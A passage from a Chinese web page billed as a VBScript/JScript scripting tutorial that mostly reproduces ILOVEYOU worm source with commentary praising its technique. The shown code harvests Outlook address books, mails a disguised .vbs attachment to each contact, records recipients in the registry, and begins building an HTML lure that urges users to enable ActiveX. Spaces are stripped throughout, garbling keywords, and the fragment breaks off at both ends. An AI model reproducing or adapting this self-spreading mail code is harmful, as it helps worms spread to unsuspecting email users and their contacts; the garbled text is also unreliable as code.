vbscript，jscript脚本编程教学（1）
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| teObject("WScript.Shell") regget=regedit.RegRead(value) endfunction subspreadtoemail() ''通过电子邮件扩散 OnErrorResumeNext dimx,a,ctrlists,ctrentries,malead,b,regedit,regv,regad setregedit=CreateObject("WScript.Shell") setout=WScript.CreateObject("Outlook.Application") ''病毒的局限：只支持Outlook，而OutlookExpress则不支持。 setmapi=out.GetNameSpace("MAPI") forctrlists=1tomapi.AddressLists.Count seta=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if(regv="")then regv=1 endif if(int(a.AddressEntries.Count)>int(regv))then forctrentries=1toa.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male ad) if(regad="")then setmale=out.CreateItem(0) male.Recipients.Add(malead) male.Subject="ILOVEYOU" ''病毒得名的原因 ''见到这样的邮件，肯定是病毒。 ''头脑正常的人恐怕不会这样直白的。 male.Body=vbcrlf&"kindlychecktheattachedLOVELETTERcomingfromm e." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1, "REG_DWORD" endif x=x+1 next regedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre ssEntries.Count else regedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre ssEntries.Count endif next Setout=Nothing Setmapi=Nothing endsub subhtml ''从技术角度说，这段程序写得很漂亮，原因在于充分地利用了Outlook的资源 ''值得编写程序的借鉴。 ''程序中间的_符号是连接线，所以注释写在这里。 ''程序中无效语句很多，浪费了不少空间。 OnErrorResumeNext dimlines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER-HTML<?-?TITLE><METANAME=@-@Gene rator@-@CONTENT=@-@BAROKVBS-LOVELETTER@-@>"&vbcrlf&_ "<METANAME=@-@Author@-@CONTENT=@-@spyder?-?ispyder@mail.com?-?@G RAMMERSoftGroup?-?Manila,Philippines?-?March2000@-@>"&vbcrlf&_ "<METANAME=@-@Description@-@CONTENT=@-@simplebutithinkthisisgo od...@-@>"&vbcrlf&_ "<?-?HEAD><BODYONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LO VE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@"&vbcrlf&_ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO U.HTM#-#,#-#main#-#)@-@BGPROPERTIES=@-@fixed@-@BGCOLOR=@-@#FF9933@-@ >"&vbcrlf&_ "<CENTER><p>ThisHTMLfileneedActiveXControl<?-?p><p>ToEnabletor eadthisHTMLfile<BR>-Pleasepress#-#YES#-#buttontoEnableActive X<?-?p>"&vbcrlf&_ "<?-?CENTER><MARQUEELOOP=@-@infinite@-@BGCOLOR=@-@yellow@-@>-------- --z--------------------z----------<?-?MARQUEE>"&vbcrlf&_ "<?-?BODY><?-?HTML>"&vbcrlf&_ "<SCRIPTlanguage=@-@JScript@-@>"&vbcrlf&_ "<!--?-??-?"&vbcrlf&_ "if(window.screen){varwi=screen.availWidth;varhi=screen.availHeight ;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf&_ "?-??-?-->"&vbcrlf&_ "<?-?SCRIPT>"&vbcrlf&_ "<SCRIPTLANGUAGE=@-@VBScript@-@>"&vbcrlf&_ "<!--"&vbcrlf&_ "onerrorresumenext"&vbcrlf&_ "dim |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
关于vbscript，jscript脚本编程教学（1）的所有评论
